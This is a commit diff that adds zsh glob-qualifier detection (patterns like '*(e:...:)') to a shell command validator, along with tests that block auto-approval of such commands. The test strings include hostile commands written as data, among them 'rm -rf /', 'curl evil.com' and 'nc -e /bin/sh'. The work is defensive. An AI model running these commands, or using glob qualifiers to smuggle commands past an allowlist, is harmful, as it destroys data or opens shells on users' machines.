Prechádzať zdrojové kódy

Handle zsh glob qualifiers correctly (#7667)

Matt Rubens 4 mesiacov pred
rodič
commit
b50104cc59

+ 49 - 0
webview-ui/src/utils/__tests__/command-validation.spec.ts

@@ -292,6 +292,27 @@ ls -la || echo "Failed"`
 			expect(containsDangerousSubstitution("ls =(sudo apt install malware)")).toBe(true)
 		})
 
+		it("detects zsh glob qualifiers with code execution (e:...:)", () => {
+			// Basic glob qualifier with command execution
+			expect(containsDangerousSubstitution("ls *(e:whoami:)")).toBe(true)
+
+			// Various glob patterns with code execution
+			expect(containsDangerousSubstitution("cat ?(e:rm -rf /:)")).toBe(true)
+			expect(containsDangerousSubstitution("echo +(e:sudo reboot:)")).toBe(true)
+			expect(containsDangerousSubstitution("rm @(e:curl evil.com:)")).toBe(true)
+			expect(containsDangerousSubstitution("touch !(e:nc -e /bin/sh:)")).toBe(true)
+
+			// Glob qualifiers in middle of command
+			expect(containsDangerousSubstitution("ls -la *(e:date:) test")).toBe(true)
+
+			// Multiple glob qualifiers
+			expect(containsDangerousSubstitution("cat *(e:whoami:) ?(e:pwd:)")).toBe(true)
+
+			// Glob qualifiers with complex commands
+			expect(containsDangerousSubstitution("ls *(e:open -a Calculator:)")).toBe(true)
+			expect(containsDangerousSubstitution("rm *(e:sudo apt install malware:)")).toBe(true)
+		})
+
 		it("does NOT flag safe parameter expansions", () => {
 			// Regular parameter expansions without dangerous operators
 			expect(containsDangerousSubstitution("echo ${var}")).toBe(false)
@@ -324,6 +345,12 @@ ls -la || echo "Failed"`
 			// Safe comparison operators
 			expect(containsDangerousSubstitution("if [ $a == $b ]; then")).toBe(false)
 			expect(containsDangerousSubstitution("test $x != $y")).toBe(false)
+
+			// Safe glob patterns without code execution qualifiers
+			expect(containsDangerousSubstitution("ls *")).toBe(false)
+			expect(containsDangerousSubstitution("rm *.txt")).toBe(false)
+			expect(containsDangerousSubstitution("cat ?(foo|bar)")).toBe(false)
+			expect(containsDangerousSubstitution("echo *(^/)")).toBe(false) // Safe glob qualifier (not e:)
 		})
 
 		it("handles complex combinations of dangerous patterns", () => {
@@ -349,6 +376,9 @@ ls -la || echo "Failed"`
 
 			// The new zsh process substitution exploit
 			expect(containsDangerousSubstitution("ls =(open -a Calculator)")).toBe(true)
+
+			// The zsh glob qualifier exploit
+			expect(containsDangerousSubstitution("ls *(e:whoami:)")).toBe(true)
 		})
 	})
 })
@@ -965,6 +995,25 @@ describe("Unified Command Decision Functions", () => {
 				// Combined with denied commands
 				expect(getCommandDecision("rm =(echo test)", ["echo"], ["rm"])).toBe("auto_deny")
 			})
+
+			it("prevents auto-approval for zsh glob qualifier exploits", () => {
+				// The zsh glob qualifier exploit with code execution
+				const globExploit = "ls *(e:whoami:)"
+				// Even though 'ls' might be allowed, the dangerous pattern prevents auto-approval
+				expect(getCommandDecision(globExploit, ["ls", "echo"], [])).toBe("ask_user")
+
+				// Various forms should all be blocked
+				expect(getCommandDecision("cat ?(e:rm -rf /:)", ["cat"], [])).toBe("ask_user")
+				expect(getCommandDecision("echo +(e:date:)", ["echo"], [])).toBe("ask_user")
+				expect(getCommandDecision("touch @(e:pwd:)", ["touch"], [])).toBe("ask_user")
+				expect(getCommandDecision("rm !(e:ls:)", ["rm"], [])).toBe("ask_user") // rm not in allowlist, has dangerous pattern
+
+				// Combined with denied commands
+				expect(getCommandDecision("rm *(e:echo test:)", ["echo"], ["rm"])).toBe("auto_deny")
+
+				// Multiple glob qualifiers
+				expect(getCommandDecision("ls *(e:whoami:) ?(e:pwd:)", ["ls"], [])).toBe("ask_user")
+			})
 		})
 
 		it("returns auto_deny for commands with any sub-command auto-denied", () => {

+ 8 - 1
webview-ui/src/utils/command-validation.ts

@@ -72,6 +72,7 @@ type ShellToken = string | { op: string } | { command: string }
  * - ${!var} - Indirect variable references
  * - <<<$(...) or <<<`...` - Here-strings with command substitution
  * - =(...) - Zsh process substitution that executes commands
+ * - *(e:...:) or similar - Zsh glob qualifiers with code execution
  *
  * @param source - The command string to analyze
  * @returns true if dangerous substitution patterns are detected, false otherwise
@@ -105,13 +106,19 @@ export function containsDangerousSubstitution(source: string): boolean {
 	// =(...) creates a temporary file containing the output of the command, but executes it
 	const zshProcessSubstitution = /=\([^)]+\)/.test(source)
 
+	// Check for zsh glob qualifiers with code execution (e:...:)
+	// Patterns like *(e:whoami:) or ?(e:rm -rf /:) execute commands during glob expansion
+	// This regex matches patterns like *(e:...:), ?(e:...:), +(e:...:), @(e:...:), !(e:...:)
+	const zshGlobQualifier = /[*?+@!]\(e:[^:]+:\)/.test(source)
+
 	// Return true if any dangerous pattern is detected
 	return (
 		dangerousParameterExpansion ||
 		parameterAssignmentWithEscapes ||
 		indirectExpansion ||
 		hereStringWithSubstitution ||
-		zshProcessSubstitution
+		zshProcessSubstitution ||
+		zshGlobQualifier
 	)
 }